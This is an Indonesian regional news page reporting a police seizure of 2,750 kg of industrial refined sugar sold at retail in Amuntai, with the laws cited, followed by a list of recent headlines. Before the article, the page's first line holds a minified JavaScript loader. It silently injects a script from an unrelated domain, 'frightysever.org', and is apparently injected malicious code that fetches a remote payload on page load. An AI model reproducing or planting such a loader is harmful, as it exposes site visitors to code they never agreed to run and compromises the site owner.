(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Polres HSU Amankan 55 Karung Gula Rafinasi di Toko Tiara


AMUNTAI, Satuan Reskrim Polres Hulu Sungai Utara (HSU) menindak pengecer gula rafinasi yang memperdagangkan gula kristal rafinasi merek BMM produksi PT Berkah Manis Makmur asal Serang yang sebenarnya untuk konsumsi industri, Sabtu (21/4).

Perlu diketahui gula rafinasi atau gula kristal putih merupakan gula mentah yang telah mengalami proses pemurnian untuk menghilangkan molase, sehingga gula rafinasi berwarna lebih putih dibandingkan gula mentah yang lebih berwarna kecokelatan

Menurut Kapolres HSU AKBP Agus Sudaryanto, pengecer gula rafinasi bernama toko Tiara Jalan Negara Dipa, Kelurahan Sungai Malang, Kecamatan Amuntai Tengah itu, polisi awalnya mendapatkan informasi bahwa pemilik toko Tiara yakni FR (42) memperdagangkan gula kristal rafinasi secara eceran.

“Pada saat petugas mendatangi toko tersebut, kami menemukan dan mengamankan gula kristal rafinasi merek BMM sebanyak 55 karung yang berisi sebanyak 2.750 kilogram,” ungkapnya.

Menurut Kapolres HSU mereka juga menemukan yang dalam kemasan plastik 1 kilogram sebanyak 68 bungkus, kemasan plastik setengah kilogram sebanyak 71 bungkus, kemasan plastik seperempat kilogram sebanyak 39 bungkus, dan satu karung yang berisi 30 kilogram.

“Atas temuan itu, pelaku dan barang bukti berhasil kami amankan di Polres untuk dilakukan penyidikan lebih lanjut,” tegas Agus.

Agus menambahkan, terlapor diancam jeratan pidana Pasal 62 ayat (1) jo Pasal 8 ayat (1) huruf a Undang-Undang nomor 8 tahun 1999 tentang Perlindungan Konsumen dan atau Pasal 110 Jo Pasal 30 ayat (1) dan atau Pasal 106 Undang-Undang nomor 7 tahun 2014 tentang Perdagangan.

“Distribusi gula rafinasi harus memiliki izin khusus dan tidak diedarkan secara bebas di pasaran seperti di warung-warung yang langsung dibeli konsumen atau masyarakat, sehingga distribusi gula rafinasi atau gula khusus industri hanya diperuntukkan kebutuhan industri,” pungkasnyas,

Sebagaimana ketentuan Pasal 9 Peraturan Menteri Perdagangan Nomor 117 Tahun 2015 menyebutkan bahwa gula kristal rafinasi hanya bisa didistribusikan untuk industri saja. (rendy)

Reporter : Rendy
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

5 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

6 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

7 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

9 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

This website uses cookies.